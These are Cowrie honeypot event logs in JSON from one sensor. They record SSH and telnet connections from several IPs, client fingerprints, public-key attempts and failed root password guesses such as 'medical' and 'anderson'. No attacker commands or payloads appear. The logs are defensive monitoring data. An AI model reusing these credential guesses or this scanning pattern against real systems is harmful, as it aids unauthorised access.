{"eventid":"cowrie.session.closed","duration":44.53250551223755,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:29.671347Z","src_ip":"152.42.224.71","session":"5322d09c9fef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58386,"dst_ip":"10.17.0.5","dst_port":23,"session":"626ab14a5e7f","protocol":"telnet","message":"New connection: 152.42.224.71:58386 (10.17.0.5:23) [session: 626ab14a5e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:29.775548Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.38.96.216","src_port":35812,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f95cc5346c0","protocol":"ssh","message":"New connection: 89.38.96.216:35812 (10.17.0.5:22) [session: 6f95cc5346c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:31.858687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:31.864031Z","src_ip":"89.38.96.216","session":"6f95cc5346c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:31.952646Z","src_ip":"89.38.96.216","session":"6f95cc5346c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:6f:d1:26:4f:5e:15:50:da:2a:2f:01:9d:37:b7:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs1o3SzjrHC5ZVJr0y8Ou7O0oZvX6Q984DE4kX5L+POfoypj5ms2P8twoTBiDDslyBSPmx2S10HjRHcnu2XQF5UabrLaRT3TjajoPdZgZF8lulZXX/YE0OPDY444f5ueuw/edT2U0r6E+JTYFDlGyW+c3rs4kCNHhW03ufv5G022MG8Bgdx4NBlu0+ceaR/wCRKfqXLaUzUs1T2qs83iOrF1hYoZmv9jJmSf5cDWYotA+kvV6SuoQOjc2fmcK+bBapHY3UEfKnMkbIc3UVRDyJis4wWEzm8QINLifM76Ec3YA+oShITrnGkuvHTUTogzkmhpakzJMe4OeohR1fAiyj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:6f:d1:26:4f:5e:15:50:da:2a:2f:01:9d:37:b7:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:32.371524Z","src_ip":"89.38.96.216","session":"6f95cc5346c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:6f:d1:26:4f:5e:15:50:da:2a:2f:01:9d:37:b7:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs1o3SzjrHC5ZVJr0y8Ou7O0oZvX6Q984DE4kX5L+POfoypj5ms2P8twoTBiDDslyBSPmx2S10HjRHcnu2XQF5UabrLaRT3TjajoPdZgZF8lulZXX/YE0OPDY444f5ueuw/edT2U0r6E+JTYFDlGyW+c3rs4kCNHhW03ufv5G022MG8Bgdx4NBlu0+ceaR/wCRKfqXLaUzUs1T2qs83iOrF1hYoZmv9jJmSf5cDWYotA+kvV6SuoQOjc2fmcK+bBapHY3UEfKnMkbIc3UVRDyJis4wWEzm8QINLifM76Ec3YA+oShITrnGkuvHTUTogzkmhpakzJMe4OeohR1fAiyj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:32.375190Z","src_ip":"89.38.96.216","session":"6f95cc5346c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:2e:81:b9:f0:1a:70:d7:5d:19:b7:e0:22:58:21:e3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGjTAIH0Ggn0IcOAEaf3Kko/RQpJOdEgRG2NZcsiDoif","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 7a:2e:81:b9:f0:1a:70:d7:5d:19:b7:e0:22:58:21:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:32.463626Z","src_ip":"89.38.96.216","session":"6f95cc5346c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:2e:81:b9:f0:1a:70:d7:5d:19:b7:e0:22:58:21:e3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGjTAIH0Ggn0IcOAEaf3Kko/RQpJOdEgRG2NZcsiDoif","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:32.467146Z","src_ip":"89.38.96.216","session":"6f95cc5346c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:03:b3:8b:b4:ab:c9:ec:c7:03:5d:9b:fe:98:eb:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKZmTWlbTdMFIU2vMGUr3nOilEKxkdYd0PEy32D5L8+ME51/wYP1SSnUSVYj87SfxLSUeO1kmGLO+iFQjUeN8dYBSdkGW0d1FgRHLYh3oCJfrEa0sP3fx7HoS6H9ki5lsOcqw3mSVCXprYC/mNnHpUOiJ7QdubM/UIPcqFvlenVx/yoQ/KNqhnHemACIRVdIVOV2HeTOC1maC3lKtgdKOxAAB0GFmRAeEwEXpHbFiRuqq1s/WFaCWS4fSat14VxqJu9HfzLR+Feaupw2izzCxlzsLb+N71/RGnT1EuT735qeqgggZx0h1v9FYnVqZdPE2lqqzLSzuy9U9K0oD7ywhV9FyQm6pS3J5zX+Mt0RLsea0mQDXb2L2gZixppHpdHSKxsl1IgvN/+brojya9iuKWlSYhHDqM93RTixhVa0V5a7KcXQDepbA/H2ktia0EOyTD5QzWSHYKvKpuesTYhTiVquzmbjhojjI9akqVIj1y6s2q3XYizhFrtVd0dpae0Lc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:03:b3:8b:b4:ab:c9:ec:c7:03:5d:9b:fe:98:eb:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:32.557864Z","src_ip":"89.38.96.216","session":"6f95cc5346c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:03:b3:8b:b4:ab:c9:ec:c7:03:5d:9b:fe:98:eb:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKZmTWlbTdMFIU2vMGUr3nOilEKxkdYd0PEy32D5L8+ME51/wYP1SSnUSVYj87SfxLSUeO1kmGLO+iFQjUeN8dYBSdkGW0d1FgRHLYh3oCJfrEa0sP3fx7HoS6H9ki5lsOcqw3mSVCXprYC/mNnHpUOiJ7QdubM/UIPcqFvlenVx/yoQ/KNqhnHemACIRVdIVOV2HeTOC1maC3lKtgdKOxAAB0GFmRAeEwEXpHbFiRuqq1s/WFaCWS4fSat14VxqJu9HfzLR+Feaupw2izzCxlzsLb+N71/RGnT1EuT735qeqgggZx0h1v9FYnVqZdPE2lqqzLSzuy9U9K0oD7ywhV9FyQm6pS3J5zX+Mt0RLsea0mQDXb2L2gZixppHpdHSKxsl1IgvN/+brojya9iuKWlSYhHDqM93RTixhVa0V5a7KcXQDepbA/H2ktia0EOyTD5QzWSHYKvKpuesTYhTiVquzmbjhojjI9akqVIj1y6s2q3XYizhFrtVd0dpae0Lc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:32.561376Z","src_ip":"89.38.96.216","session":"6f95cc5346c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":47778,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc22769f2dc9","protocol":"ssh","message":"New connection: 68.183.236.1:47778 (159.203.135.109:22) [session: bc22769f2dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:32.577518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:32.582078Z","src_ip":"68.183.236.1","session":"bc22769f2dc9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:d5:ce:5b:15:0a:e1:76:7a:6e:9a:23:d6:65:09:80","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAYRosg2VSa4o6cNKc/kUVQH9LoaBJiPLpAfJ07QpxEI","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 57:d5:ce:5b:15:0a:e1:76:7a:6e:9a:23:d6:65:09:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:32.650418Z","src_ip":"89.38.96.216","session":"6f95cc5346c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:d5:ce:5b:15:0a:e1:76:7a:6e:9a:23:d6:65:09:80","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAYRosg2VSa4o6cNKc/kUVQH9LoaBJiPLpAfJ07QpxEI","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:32.654182Z","src_ip":"89.38.96.216","session":"6f95cc5346c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:6a:05:8a:72:8e:65:a8:09:55:13:9a:fa:65:ec:a3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH0RY6y1pwaoBMoVJ9Tqq/EgtEADycpw3kmKKLlerEsl","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 3a:6a:05:8a:72:8e:65:a8:09:55:13:9a:fa:65:ec:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:32.744346Z","src_ip":"89.38.96.216","session":"6f95cc5346c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:6a:05:8a:72:8e:65:a8:09:55:13:9a:fa:65:ec:a3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH0RY6y1pwaoBMoVJ9Tqq/EgtEADycpw3kmKKLlerEsl","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:32.748110Z","src_ip":"89.38.96.216","session":"6f95cc5346c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:32.818325Z","src_ip":"68.183.236.1","session":"bc22769f2dc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:32.836982Z","src_ip":"89.38.96.216","session":"6f95cc5346c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"medical","message":"login attempt [root/medical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:33.798775Z","src_ip":"68.183.236.1","session":"bc22769f2dc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:35.039371Z","src_ip":"68.183.236.1","session":"bc22769f2dc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.62662482261658,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:35.549816Z","src_ip":"152.42.224.71","session":"175e10f5d476","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51176,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb6343a4c994","protocol":"telnet","message":"New connection: 152.42.224.71:51176 (10.17.0.5:23) [session: bb6343a4c994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:39.503700Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":46804,"dst_ip":"10.17.0.5","dst_port":22,"session":"41265f98d9e5","protocol":"ssh","message":"New connection: 194.113.233.25:46804 (10.17.0.5:22) [session: 41265f98d9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:39.989696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:39.994422Z","src_ip":"194.113.233.25","session":"41265f98d9e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:40.084849Z","src_ip":"194.113.233.25","session":"41265f98d9e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anderson","message":"login attempt [root/anderson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:40.365019Z","src_ip":"194.113.233.25","session":"41265f98d9e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51192,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4912fcdc56a","protocol":"telnet","message":"New connection: 152.42.224.71:51192 (10.17.0.5:23) [session: f4912fcdc56a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:41.434834Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:41.458634Z","src_ip":"194.113.233.25","session":"41265f98d9e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51200,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fd767101527","protocol":"telnet","message":"New connection: 152.42.224.71:51200 (10.17.0.5:23) [session: 3fd767101527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:42.434594Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53090,"dst_ip":"10.17.0.5","dst_port":23,"session":"02f98a5d3991","protocol":"telnet","message":"New connection: 152.42.224.71:53090 (10.17.0.5:23) [session: 02f98a5d3991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:49.034910Z"}
{"eventid":"cowrie.session.closed","duration":42.405431509017944,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:51.095096Z","src_ip":"152.42.224.71","session":"c51d9d52807c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.41857624053955,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:53.357330Z","src_ip":"152.42.224.71","session":"8e283a259e9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53096,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a95ae6431b2","protocol":"telnet","message":"New connection: 152.42.224.71:53096 (10.17.0.5:23) [session: 3a95ae6431b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:53.511718Z"}
{"eventid":"cowrie.session.closed","duration":31.081694841384888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:53.756699Z","src_ip":"152.42.224.71","session":"4d8e404298d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.88120174407959,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:57.315927Z","src_ip":"152.42.224.71","session":"f4912fcdc56a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59046,"dst_ip":"10.17.0.5","dst_port":23,"session":"0debeb43f5e6","protocol":"telnet","message":"New connection: 152.42.224.71:59046 (10.17.0.5:23) [session: 0debeb43f5e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:02.576482Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59044,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ddea9155680","protocol":"telnet","message":"New connection: 152.42.224.71:59044 (10.17.0.5:23) [session: 5ddea9155680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:03.018994Z"}
{"eventid":"cowrie.session.closed","duration":116.09136891365051,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:10.059903Z","src_ip":"152.42.224.71","session":"12d876c2feee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.17815804481506,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:10.251814Z","src_ip":"152.42.224.71","session":"3cabaa1f3f30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42180,"dst_ip":"10.17.0.5","dst_port":23,"session":"19bc30b001df","protocol":"telnet","message":"New connection: 152.42.224.71:42180 (10.17.0.5:23) [session: 19bc30b001df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:11.149696Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":55082,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e6b17812647","protocol":"ssh","message":"New connection: 103.149.28.157:55082 (10.17.0.5:22) [session: 8e6b17812647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:12.958737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:12.963594Z","src_ip":"103.149.28.157","session":"8e6b17812647","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:13.210390Z","src_ip":"103.149.28.157","session":"8e6b17812647","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop[]","message":"login attempt [root/qwertyuiop[]] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:13.952754Z","src_ip":"103.149.28.157","session":"8e6b17812647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:48:15.202161Z","src_ip":"103.149.28.157","session":"8e6b17812647","protocol":"ssh"}
